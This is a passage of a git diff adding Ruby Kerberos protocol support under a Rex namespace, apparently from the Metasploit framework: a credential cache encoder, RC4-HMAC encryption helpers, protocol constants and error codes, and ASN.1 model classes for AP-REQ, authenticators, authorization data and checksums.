+ # @raise [NotImplementedError] + def recv_response_udp + raise ::NotImplementedError, 'Kerberos Client: UDP unsupported' + end + + private + + # Decodes a Kerberos response + # + # @param input [String] the raw response message + # @return [<Rex::Proto::Kerberos::Model::KrbError, Rex::Proto::Kerberos::Model::KdcResponse>] the kerberos message response + # @raise [RuntimeError] if the response can't be processed + def decode_kerb_response(data) + asn1 = OpenSSL::ASN1.decode(data) + msg_type = asn1.value[0].value[1].value[0].value + + case msg_type + when Rex::Proto::Kerberos::Model::KRB_ERROR + res = Rex::Proto::Kerberos::Model::KrbError.decode(asn1) + when Rex::Proto::Kerberos::Model::AS_REP + res = Rex::Proto::Kerberos::Model::KdcResponse.decode(asn1) + when Rex::Proto::Kerberos::Model::TGS_REP + res = Rex::Proto::Kerberos::Model::KdcResponse.decode(asn1) + else + raise ::RuntimeError, 'Kerberos Client: Unknown response' + end + + res + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/credential_cache.rb b/lib/rex/proto/kerberos/credential_cache.rb new file mode 100644 index 0000000000..14290f324e --- /dev/null +++ b/lib/rex/proto/kerberos/credential_cache.rb @@ -0,0 +1,19 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module CredentialCache + VERSION = 0x0504 + HEADER = "\x00\x08\xff\xff\xff\xff\x00\x00\x00\x00" + end + end + end +end + +require 'rex/proto/kerberos/credential_cache/element' +require 'rex/proto/kerberos/credential_cache/key_block' +require 'rex/proto/kerberos/credential_cache/principal' +require 'rex/proto/kerberos/credential_cache/time' +require 'rex/proto/kerberos/credential_cache/credential' +require 'rex/proto/kerberos/credential_cache/cache' \ No newline at end of file diff --git a/lib/rex/proto/kerberos/credential_cache/cache.rb b/lib/rex/proto/kerberos/credential_cache/cache.rb new file mode 100644 index 0000000000..6953050029 --- /dev/null +++ b/lib/rex/proto/kerberos/credential_cache/cache.rb @@ -0,0 +1,81 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module CredentialCache + # This class provides a representation of a Kerberos Credential Cache. + class Cache < Element + + # @!attribute version + # @return [Fixnum] The file format version + attr_accessor :version + # @!attribute headers + # @return [Array<String>] The header tags + attr_accessor :headers + # @!attribute primary_principal + # @return [Rex::Proto::Kerberos::CredentialCache::Principal] The principal cache's owner + attr_accessor :primary_principal + # @!attribute credentials + # @return [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] The primary principal credentials + attr_accessor :credentials + + # Encodes the Rex::Proto::Kerberos::CredentialCache::Cache into an String + # + # @return [String] encoded cache + def encode + encoded = '' + encoded << encode_version + encoded << encode_headers + encoded << encode_primary_principal + encoded << encode_credentials + end + + private + + # Encodes the version field + # + # @return [String] + def encode_version + [version].pack('n') + end + + # Encodes the headers field + # + # @return [String] + def encode_headers + headers_encoded = '' + headers_encoded << [headers.length].pack('n') + headers.each do |h| + headers_encoded << h + end + + encoded = '' + encoded << [headers_encoded.length].pack('n') + encoded << headers_encoded + + encoded + end + + # Encodes the primary_principal field + # + # @return [String] + def encode_primary_principal + primary_principal.encode + end + + # Encodes the credentials field + # + # @return [String] + def encode_credentials + encoded = '' + credentials.each do |cred| + encoded << cred.encode + end + encoded + end + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/credential_cache/credential.rb b/lib/rex/proto/kerberos/credential_cache/credential.rb new file mode 100644 index 0000000000..3b9ecd8db3 --- /dev/null +++ b/lib/rex/proto/kerberos/credential_cache/credential.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module CredentialCache + # This class provides a representation of a Credential stored in the Kerberos Credential Cache. + class Credential < Element + # @!attribute client + # @return [Rex::Proto::Kerberos::CredentialCache::Principal] + attr_accessor :client + # @!attribute server + # @return [Rex::Proto::Kerberos::CredentialCache::Principal] + attr_accessor :server + # @!attribute key + # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] + attr_accessor :key + # @!attribute time + # @return [Rex::Proto::Kerberos::CredentialCache::Time] + attr_accessor :time + # @!attribute is_skey + # @return [Fixnum] + attr_accessor :is_skey + # @!attribute tkt_flags + # @return [Fixnum] + attr_accessor :tkt_flags + # @!attribute addrs + # @return [Array] + attr_accessor :addrs + # @!attribute auth_data + # @return [Array] + attr_accessor :auth_data + # @!attribute ticket + # @return [String] + attr_accessor :ticket + # @!attribute second_ticket + # @return [String] + attr_accessor :second_ticket + + # Encodes the Rex::Proto::Kerberos::CredentialCache::Credential into an String + # + # @return [String] encoded credential + def encode + encoded = '' + encoded << encode_client + encoded << encode_server + encoded << encode_key + encoded << encode_time + encoded << encode_is_skey + encoded << encode_tkt_flags + encoded << encode_addrs + encoded << encode_auth_data + encoded << encode_ticket + encoded << encode_second_ticket + end + + private + + # Encodes the client field + # + # @return [String] + def encode_client + client.encode + end + + # Encodes the server field + # + # @return [String] + def encode_server + server.encode + end + + # Encodes the key field + # + # @return [String] + def encode_key + key.encode + end + + # Encodes the time field + # + # @return [String] + def encode_time + time.encode + end + + # Encodes the is_skey field + # + # @return [String] + def encode_is_skey + [is_skey].pack('C') + end + + # Encodes the tkt_flags field + # + # @return [String] + def encode_tkt_flags + [tkt_flags].pack('N') + end + + # Encodes the addrs field + # + # @return [String] + # @raise [NotImplementedError] if there are addresses to encode + def encode_addrs + encoded = '' + if addrs.length > 0 + raise ::NotImplementedError, 'CredentialCache: Credential addresses encoding not supported' + end + encoded << [addrs.length].pack('N') + encoded + end + + # Encodes the auth_data field + # + # @return [String] + def encode_auth_data + encoded = '' + if auth_data.length > 0 + raise ::RuntimeError, 'CredentialCache: Credential auth_data encoding not supported' + end + encoded << [auth_data.length].pack('N') + encoded + end + + # Encodes the ticket field + # + # @return [String] + def encode_ticket + encoded = '' + encoded << [ticket.length].pack('N') + encoded << ticket + + encoded + end + + # Encodes the second_ticket field + # + # @return [String] + def encode_second_ticket + encoded = '' + encoded << [second_ticket.length].pack('N') + encoded << second_ticket + + encoded + end + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/credential_cache/element.rb b/lib/rex/proto/kerberos/credential_cache/element.rb new file mode 100644 index 0000000000..3b10c57b38 --- /dev/null +++ b/lib/rex/proto/kerberos/credential_cache/element.rb @@ -0,0 +1,49 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module CredentialCache + class Element + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Encodes the Rex::Proto::Kerberos::CredentialCache::Element into an String. This + # method has been designed to be overridden by subclasses. + # + # @raise [NoMethodError] + def encode + raise ::NoMethodError, 'Method designed to be overridden' + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/credential_cache/key_block.rb b/lib/rex/proto/kerberos/credential_cache/key_block.rb new file mode 100644 index 0000000000..0a58688216 --- /dev/null +++ b/lib/rex/proto/kerberos/credential_cache/key_block.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module CredentialCache + + # This class provides a representation of a credential keys stored in the Kerberos Credential Cache. + class KeyBlock < Element + # @!attribute key_type + # @return [Fixnum] + attr_accessor :key_type + # @!attribute e_type + # @return [Fixnum] + attr_accessor :e_type + # @!attribute key_value + # @return [String] + attr_accessor :key_value + + # Encodes the Rex::Proto::Kerberos::CredentialCache::KeyBlock into an String + # + # @return [String] encoded key + def encode + encoded = '' + encoded << encode_key_type + encoded << encode_e_type + encoded << encode_key_value + + encoded + end + + private + + # Encodes the key_type field + # + # @return [String] + def encode_key_type + [key_type].pack('n') + end + + # Encodes the e_type field + # + # @return [String] + def encode_e_type + [e_type].pack('n') + end + + # Encodes the key_value field + # + # @return [String] + def encode_key_value + encoded = '' + encoded << [key_value.length].pack('n') + encoded << key_value + + encoded + end + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/credential_cache/principal.rb b/lib/rex/proto/kerberos/credential_cache/principal.rb new file mode 100644 index 0000000000..fee17cec48 --- /dev/null +++ b/lib/rex/proto/kerberos/credential_cache/principal.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module CredentialCache + # This class provides a representation of a Principal stored in the Kerberos Credential Cache. + class Principal < Element + # @!attribute name_type + # @return [Fixnum] + attr_accessor :name_type + # @!attribute realm + # @return [String] + attr_accessor :realm + # @!attribute components + # @return [Array<String>] + attr_accessor :components + + # Encodes the Rex::Proto::Kerberos::CredentialCache::Principal into an String + # + # @return [String] encoded principal + def encode + encoded = '' + encoded << encode_name_type + encoded << [components.length].pack('N') + encoded << encode_realm + encoded << encode_components + + encoded + end + + private + + # Encodes the name_type field + # + # @return [String] + def encode_name_type + [name_type].pack('N') + end + + # Encodes the realm field + # + # @return [String] + def encode_realm + encoded = '' + encoded << [realm.length].pack('N') + encoded << realm + + encoded + end + + # Encodes the components field + # + # @return [String] + def encode_components + encoded = '' + + components.each do |c| + encoded << [c.length].pack('N') + encoded << c + end + + encoded + end + + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/credential_cache/time.rb b/lib/rex/proto/kerberos/credential_cache/time.rb new file mode 100644 index 0000000000..2f9d586ae2 --- /dev/null +++ b/lib/rex/proto/kerberos/credential_cache/time.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module CredentialCache + # This class provides a representation of credential times stored in the Kerberos Credential Cache. + class Time < Element + # @!attribute auth_time + # @return [Fixnum] + attr_accessor :auth_time + # @!attribute start_time + # @return [Fixnum] + attr_accessor :start_time + # @!attribute end_time + # @return [Fixnum] + attr_accessor :end_time + # @!attribute renew_till + # @return [Fixnum] + attr_accessor :renew_till + + # Encodes the Rex::Proto::Kerberos::CredentialCache::Time into an String + # + # @return [String] encoded time + def encode + encoded = '' + encoded << encode_auth_time + encoded << encode_start_time + encoded << encode_end_time + encoded << encode_renew_time + + encoded + end + + private + + # Encodes the auth_time field + # + # @return [String] + def encode_auth_time + [auth_time].pack('N') + end + + # Encodes the start_time field + # + # @return [String] + def encode_start_time + [start_time].pack('N') + end + + # Encodes the end_time field + # + # @return [String] + def encode_end_time + [end_time].pack('N') + end + + # Encodes the renew_time field + # + # @return [String] + def encode_renew_time + [renew_till].pack('N') + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/crypto.rb b/lib/rex/proto/kerberos/crypto.rb new file mode 100644 index 0000000000..f2f3853d66 --- /dev/null +++ b/lib/rex/proto/kerberos/crypto.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos/crypto/rc4_hmac' +require 'rex/proto/kerberos/crypto/rsa_md5' + +module Rex + module Proto + module Kerberos + module Crypto + + include Rex::Proto::Kerberos::Crypto::Rc4Hmac + include Rex::Proto::Kerberos::Crypto::RsaMd5 + + RSA_MD5 = 7 + RC4_HMAC = 23 + ENC_KDC_REQUEST_BODY = 10 + ENC_AS_RESPONSE = 8 + ENC_TGS_RESPONSE = 9 + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/crypto/rc4_hmac.rb b/lib/rex/proto/kerberos/crypto/rc4_hmac.rb new file mode 100644 index 0000000000..e413e987fe --- /dev/null +++ b/lib/rex/proto/kerberos/crypto/rc4_hmac.rb @@ -0,0 +1,65 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Crypto + module Rc4Hmac + # Decrypts the cipher using RC4-HMAC schema + # + # @param cipher [String] the data to decrypt + # @param key [String] the key to decrypt + # @param msg_type [Fixnum] the message type + # @return [String] the decrypted cipher + # @raise [RuntimeError] if decryption doesn't succeed + def decrypt_rc4_hmac(cipher, key, msg_type) + unless cipher && cipher.length > 16 + raise ::RuntimeError, 'RC4-HMAC decryption failed' + end + + checksum = cipher[0, 16] + data = cipher[16, cipher.length - 1] + + k1 = OpenSSL::HMAC.digest('MD5', key, [msg_type].pack('V')) + k3 = OpenSSL::HMAC.digest('MD5', k1, checksum) + + cipher = OpenSSL::Cipher::Cipher.new('rc4') + cipher.decrypt + cipher.key = k3 + decrypted = cipher.update(data) + cipher.final + + if OpenSSL::HMAC.digest('MD5', k1, decrypted) != checksum + raise ::RuntimeError, 'RC4-HMAC decryption failed, incorrect checksum verification' + end + + decrypted + end + + # Encrypts the cipher using RC4-HMAC schema + # + # @param data [String] the data to encrypt + # @param key [String] the key to encrypt + # @param msg_type [Fixnum] the message type + # @return [String] the encrypted data + def encrypt_rc4_hmac(data, key, msg_type) + k1 = OpenSSL::HMAC.digest('MD5', key, [msg_type].pack('V')) + + data_encrypt = Rex::Text::rand_text(8) + data + + checksum = OpenSSL::HMAC.digest('MD5', k1, data_encrypt) + + k3 = OpenSSL::HMAC.digest('MD5', k1, checksum) + + cipher = OpenSSL::Cipher::Cipher.new('rc4') + cipher.encrypt + cipher.key = k3 + encrypted = cipher.update(data_encrypt) + cipher.final + + res = checksum + encrypted + res + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/crypto/rsa_md5.rb b/lib/rex/proto/kerberos/crypto/rsa_md5.rb new file mode 100644 index 0000000000..e775ae456d --- /dev/null +++ b/lib/rex/proto/kerberos/crypto/rsa_md5.rb @@ -0,0 +1,15 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Crypto + module RsaMd5 + def checksum_rsa_md5(data) + Rex::Text.md5_raw(data) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model.rb b/lib/rex/proto/kerberos/model.rb new file mode 100644 index 0000000000..f0c2261793 --- /dev/null +++ b/lib/rex/proto/kerberos/model.rb @@ -0,0 +1,133 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + VERSION = 5 + + # Application Message Id's + + AS_REQ = 10 + AS_REP = 11 + TGS_REQ = 12 + TGS_REP = 13 + KRB_ERROR = 30 + TICKET = 1 + AUTHENTICATOR = 2 + AP_REQ = 14 + + # Kerberos error codes + ERROR_CODES = { + 0 => ['KDC_ERR_NONE', 'No error'], + 1 => ['KDC_ERR_NAME_EXP', 'Client\'s entry in database has expired'], + 2 => ['KDC_ERR_SERVICE_EXP', 'Server\'s entry in database has expired'], + 3 => ['KDC_ERR_BAD_PVNO', 'Requested protocol version number not supported'], + 4 => ['KDC_ERR_C_OLD_MAST_KVNO', 'Client\'s key encrypted in old master key'], + 5 => ['KDC_ERR_S_OLD_MAST_KVNO', 'Server\'s key encrypted in old master key'], + 6 => ['KDC_ERR_C_PRINCIPAL_UNKNOWN', 'Client not found in Kerberos database'], + 7 => ['KDC_ERR_S_PRINCIPAL_UNKNOWN', 'Server not found in Kerberos database'], + 8 => ['KDC_ERR_PRINCIPAL_NOT_UNIQUE', 'Multiple principal entries in database'], + 9 => ['KDC_ERR_NULL_KEY', 'The client or server has a null key'], + 10 => ['KDC_ERR_CANNOT_POSTDATE', 'Ticket not eligible for postdating'], + 11 => ['KDC_ERR_NEVER_VALID', 'Requested start time is later than end time'], + 12 => ['KDC_ERR_POLICY', 'KDC policy rejects request'], + 13 => ['KDC_ERR_BADOPTION', 'KDC cannot accommodate requested option'], + 14 => ['KDC_ERR_ETYPE_NOSUPP', 'KDC has no support for encryption type'], + 15 => ['KDC_ERR_SUMTYPE_NOSUPP', 'KDC has no support for checksum type'], + 16 => ['KDC_ERR_PADATA_TYPE_NOSUPP', 'KDC has no support for padata type'], + 17 => ['KDC_ERR_TRTYPE_NOSUPP', 'KDC has no support for transited type'], + 18 => ['KDC_ERR_CLIENT_REVOKED', 'Clients credentials have been revoked'], + 19 => ['KDC_ERR_SERVICE_REVOKED', 'Credentials for server have been revoked'], + 20 => ['KDC_ERR_TGT_REVOKED', 'TGT has been revoked'], + 21 => ['KDC_ERR_CLIENT_NOTYET', 'Client not yet valid - try again later'], + 22 => ['KDC_ERR_SERVICE_NOTYET', 'Server not yet valid - try again later'], + 23 => ['KDC_ERR_KEY_EXPIRED', 'Password has expired - change password to reset'], + 24 => ['KDC_ERR_PREAUTH_FAILED', 'Pre-authentication information was invalid'], + 25 => ['KDC_ERR_PREAUTH_REQUIRED', 'Additional pre-authentication required'], + 31 => ['KRB_AP_ERR_BAD_INTEGRITY', 'Integrity check on decrypted field failed'], + 32 => ['KRB_AP_ERR_TKT_EXPIRED', 'Ticket expired'], + 33 => ['KRB_AP_ERR_TKT_NYV', 'Ticket not yet valid'], + 34 => ['KRB_AP_ERR_REPEAT', 'Request is a replay'], + 35 => ['KRB_AP_ERR_NOT_US', 'The ticket isn\'t for us'], + 36 => ['KRB_AP_ERR_BADMATCH', 'Ticket and authenticator don\'t match'], + 37 => ['KRB_AP_ERR_SKEW', 'Clock skew too great'], + 38 => ['KRB_AP_ERR_BADADDR', 'Incorrect net address'], + 39 => ['KRB_AP_ERR_BADVERSION', 'Protocol version mismatch'], + 40 => ['KRB_AP_ERR_MSG_TYPE', 'Invalid msg type'], + 41 => ['KRB_AP_ERR_MODIFIED', 'Message stream modified'], + 42 => ['KRB_AP_ERR_BADORDER', 'Message out of order'], + 44 => ['KRB_AP_ERR_BADKEYVER', 'Specified version of key is not available'], + 45 => ['KRB_AP_ERR_NOKEY', 'Service key not available'], + 46 => ['KRB_AP_ERR_MUT_FAIL', 'Mutual authentication failed'], + 47 => ['KRB_AP_ERR_BADDIRECTION', 'Incorrect message direction'], + 48 => ['KRB_AP_ERR_METHOD', 'Alternative authentication method required'], + 49 => ['KRB_AP_ERR_BADSEQ', 'Incorrect sequence number in message'], + 50 => ['KRB_AP_ERR_INAPP_CKSUM', 'Inappropriate type of checksum in message'], + 60 => ['KRB_ERR_GENERIC', 'Generic error'], + 61 => ['KRB_ERR_FIELD_TOOLONG', 'Field is too long for this implementation'] + } + + KDC_OPTION_RESERVED = 0 + KDC_OPTION_FORWARDABLE = 1 + KDC_OPTION_FORWARDED = 2 + KDC_OPTION_PROXIABLE = 3 + KDC_OPTION_PROXY = 4 + KDC_OPTION_ALLOW_POST_DATE = 5 + KDC_OPTION_POST_DATED = 6 + KDC_OPTION_UNUSED_7 = 7 + KDC_OPTION_RENEWABLE = 8 + KDC_OPTION_UNUSED_9 = 9 + KDC_OPTION_UNUSED_10 = 10 + KDC_OPTION_UNUSED_11 = 11 + KDC_OPTION_RENEWABLE_OK = 27 + KDC_OPTION_ENC_TKT_IN_SKEY = 28 + KDC_OPTION_RENEW = 30 + KDC_OPTION_VALIDATE = 31 + + # From Principal + + # Name type not known + NT_UNKNOWN = 0 + # The name of the principal + NT_PRINCIPAL = 1 + # Service and other unique instances + NT_SRV_INST = 2 + # Service with host name and instance + NT_SRV_HST = 3 + # Service with host as remaining component + NT_SRV_XHST = 4 + # Unique ID + NT_UID = 5 + + # From padata + + PA_TGS_REQ = 1 + PA_ENC_TIMESTAMP = 2 + PA_PW_SALT = 3 + PA_PAC_REQUEST = 128 + + AD_IF_RELEVANT = 1 + end + end + end +end + +require 'rex/proto/kerberos/model/element' +require 'rex/proto/kerberos/model/principal_name' +require 'rex/proto/kerberos/model/encrypted_data' +require 'rex/proto/kerberos/model/checksum' +require 'rex/proto/kerberos/model/pre_auth_pac_request' +require 'rex/proto/kerberos/model/pre_auth_enc_time_stamp' +require 'rex/proto/kerberos/model/pre_auth_data' +require 'rex/proto/kerberos/model/ap_req' +require 'rex/proto/kerberos/model/krb_error' +require 'rex/proto/kerberos/model/authorization_data' +require 'rex/proto/kerberos/model/encryption_key' +require 'rex/proto/kerberos/model/authenticator' +require 'rex/proto/kerberos/model/ticket' +require 'rex/proto/kerberos/model/last_request' +require 'rex/proto/kerberos/model/kdc_request_body' +require 'rex/proto/kerberos/model/kdc_request' +require 'rex/proto/kerberos/model/enc_kdc_response' +require 'rex/proto/kerberos/model/kdc_response' diff --git a/lib/rex/proto/kerberos/model/ap_req.rb b/lib/rex/proto/kerberos/model/ap_req.rb new file mode 100644 index 0000000000..e50896d475 --- /dev/null +++ b/lib/rex/proto/kerberos/model/ap_req.rb @@ -0,0 +1,98 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a KRB_AP_REQ definition, containing the Kerberos protocol version number, + # the message type KRB_AP_REQ, an options field to indicate any options in use, and the ticket and authenticator + # themselves + class ApReq < Element + # @!attribute pvno + # @return [Fixnum] The protocol version number + attr_accessor :pvno + # @!attribute msg_type + # @return [Fixnum] The type of the protocol message + attr_accessor :msg_type + # @!attribute options + # @return [Fixnum] request options, affects processing + attr_accessor :options + # @!attribute ticket + # @return [Rex::Proto::Kerberos::Model::Ticket] The ticket authenticating the client to the server + attr_accessor :ticket + # @!attribute authenticator + # @return [Rex::Proto::Kerberos::Model::EncryptedData] This contains the authenticator, which includes the + # client's choice of a subkey + attr_accessor :authenticator + + # Rex::Proto::Kerberos::Model::ApReq decoding isn't supported + # + # @raise [NotImplementedError] + def decode(input) + raise ::NotImplementedError, 'AP-REQ decoding not supported' + end + + # Encodes the Rex::Proto::Kerberos::Model::ApReq into an ASN.1 String + # + # @return [String] + def encode + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([encode_pvno], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_msg_type], 1, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_options], 2, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_ticket], 3, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_authenticator], 4, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq_asn1 = OpenSSL::ASN1::ASN1Data.new([seq], AP_REQ, :APPLICATION) + + seq_asn1.to_der + end + + private + + # Encodes the pvno field + # + # @return [OpenSSL::ASN1::Integer] + def encode_pvno + bn = OpenSSL::BN.new(pvno.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the msg_type field + # + # @return [OpenSSL::ASN1::Integer] + def encode_msg_type + bn = OpenSSL::BN.new(msg_type.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the options field + # + # @return [OpenSSL::ASN1::BitString] + def encode_options + OpenSSL::ASN1::BitString.new([options].pack('N')) + end + + # Encodes the ticket field + # + # @return [String] + def encode_ticket + ticket.encode + end + + # Encodes the authenticator field + # + # @return [String] + def encode_authenticator + authenticator.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/authenticator.rb b/lib/rex/proto/kerberos/model/authenticator.rb new file mode 100644 index 0000000000..f849830b99 --- /dev/null +++ b/lib/rex/proto/kerberos/model/authenticator.rb @@ -0,0 +1,143 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of an Authenticator, sent with a + # ticket to the server to certify the client's knowledge of the encryption + # key in the ticket. + class Authenticator < Element + # @!attribute vno + # @return [Fixnum] The authenticator version number + attr_accessor :vno + # @!attribute crealm + # @return [String] The realm in which the client is registered + attr_accessor :crealm + # @!attribute cname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the client's principal + # identifier + attr_accessor :cname + # @!attribute checksum + # @return [Rex::Proto::Kerberos::Model::Checksum] The checksum of the application data that + # accompanies the KRB_AP_REQ. + attr_accessor :checksum + # @!attribute cusec + # @return [Fixnum] The microsecond part of the client's timestamp + attr_accessor :cusec + # @!attribute ctime + # @return [Time] The current time of the client's host + attr_accessor :ctime + # @!attribute subkey + # @return [Rex::Proto::Kerberos::Model::EncryptionKey] the client's choice for an encryption + # key which is to be used to protect this specific application session + attr_accessor :subkey + + # Rex::Proto::Kerberos::Model::Authenticator decoding isn't supported + # + # @raise [NotImplementedError] + def decode(input) + raise ::NotImplementedError, 'Authenticator decoding not supported' + end + + # Encodes the Rex::Proto::Kerberos::Model::Authenticator into an ASN.1 String + # + # @return [String] + def encode + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([encode_vno], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_crealm], 1, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_cname], 2, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_checksum], 3, :CONTEXT_SPECIFIC) if checksum + elems << OpenSSL::ASN1::ASN1Data.new([encode_cusec], 4, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_ctime], 5, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_subkey], 6, :CONTEXT_SPECIFIC) if subkey + + seq = OpenSSL::ASN1::Sequence.new(elems) + seq_asn1 = OpenSSL::ASN1::ASN1Data.new([seq], AUTHENTICATOR, :APPLICATION) + + seq_asn1.to_der + end + + # Encrypts the Rex::Proto::Kerberos::Model::Authenticator + # + # @param etype [Fixnum] the crypto schema to encrypt + # @param key [String] the key to encrypt + # @return [String] the encrypted result + # @raise [NotImplementedError] if the encryption schema isn't supported + def encrypt(etype, key) + data = self.encode + + res = '' + case etype + when RC4_HMAC + res = encrypt_rc4_hmac(data, key, 7) + else + raise ::NotImplementedError, 'EncryptedData schema is not supported' + end + + res + end + + + private + + # Encodes the vno field + # + # @return [OpenSSL::ASN1::Integer] + def encode_vno + bn = OpenSSL::BN.new(vno.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the crealm field + # + # @return [OpenSSL::ASN1::GeneralString] + def encode_crealm + OpenSSL::ASN1::GeneralString.new(crealm) + end + + # Encodes the cname field + # + # @return [String] + def encode_cname + cname.encode + end + + # Encodes the checksum field + # + # @return [String] + def encode_checksum + checksum.encode + end + + # Encodes the cusec field + # + # @return [OpenSSL::ASN1::Integer] + def encode_cusec + bn = OpenSSL::BN.new(cusec.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the ctime field + # + # @return [OpenSSL::ASN1::GeneralizedTime] + def encode_ctime + OpenSSL::ASN1::GeneralizedTime.new(ctime) + end + + # Encodes the subkey field + # + # @return [String] + def encode_subkey + subkey.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/authorization_data.rb b/lib/rex/proto/kerberos/model/authorization_data.rb new file mode 100644 index 0000000000..ef8c74990c --- /dev/null +++ b/lib/rex/proto/kerberos/model/authorization_data.rb @@ -0,0 +1,85 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos AuthorizationData data + # definition. + class AuthorizationData < Element + # @!attribute elements + # @return [Hash{Symbol => <Fixnum, String>}] The type of the authorization data + # @option [Fixnum] :type + # @option [String] :data + attr_accessor :elements + + # Rex::Proto::Kerberos::Model::AuthorizationData decoding isn't supported + # + # @raise [NotImplementedError] + def decode(input) + raise ::NotImplementedError, 'Authorization Data decoding not supported' + end + + # Encodes a Rex::Proto::Kerberos::Model::AuthorizationData into an ASN.1 String + # + # @return [String] + def encode + seqs = [] + elements.each do |elem| + elems = [] + type_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_type(elem[:type])], 0, :CONTEXT_SPECIFIC) + elems << type_asn1 + data_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_data(elem[:data])], 1, :CONTEXT_SPECIFIC) + elems << data_asn1 + seqs << OpenSSL::ASN1::Sequence.new(elems) + end + + seq = OpenSSL::ASN1::Sequence.new(seqs) + + seq.to_der + end + + # Encrypts the Rex::Proto::Kerberos::Model::AuthorizationData + # + # @param etype [Fixnum] the crypto schema to encrypt + # @param key [String] the key to encrypt + # @return [String] the encrypted result + # @raise [NotImplementedError] if encryption schema isn't supported + def encrypt(etype, key) + data = self.encode + + res = '' + case etype + when RC4_HMAC + res = encrypt_rc4_hmac(data, key, 5) + else + raise ::NotImplementedError, 'EncryptedData schema is not supported' + end + + res + end + + + private + + # Encodes the type + # + # @return [OpenSSL::ASN1::Integer] + def encode_type(type) + bn = OpenSSL::BN.new(type.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the data + # + # @return [OpenSSL::ASN1::OctetString] + def encode_data(data) + OpenSSL::ASN1::OctetString.new(data) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/checksum.rb b/lib/rex/proto/kerberos/model/checksum.rb new file mode 100644 index 0000000000..ccd4f9c6b7 --- /dev/null +++ b/lib/rex/proto/kerberos/model/checksum.rb @@ -0,0 +1,59 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos Checksum definition. + class Checksum < Element + + # @!attribute type + # @return [Fixnum] The algorithm used to generate the checksum + attr_accessor :type + # @!attribute checksum + # @return [String] The checksum itself + attr_accessor :checksum + + # Rex::Proto::Kerberos::Model::Checksum decoding isn't supported + # + # @raise [NotImplementedError] + def decode(input) + raise ::NotImplementedError, 'Checksum decoding not supported' + end + + # Encodes a Rex::Proto::Kerberos::Model::Checksum into an ASN.1 String + # + # @return [String] + def encode + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([encode_type], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_checksum], 1, :CONTEXT_SPECIFIC) + + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq.to_der + end + + private + + # Encodes the type field + # + # @return [OpenSSL::ASN1::Integer] + def encode_type + bn = OpenSSL::BN.new(type.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the checksum field + # + # 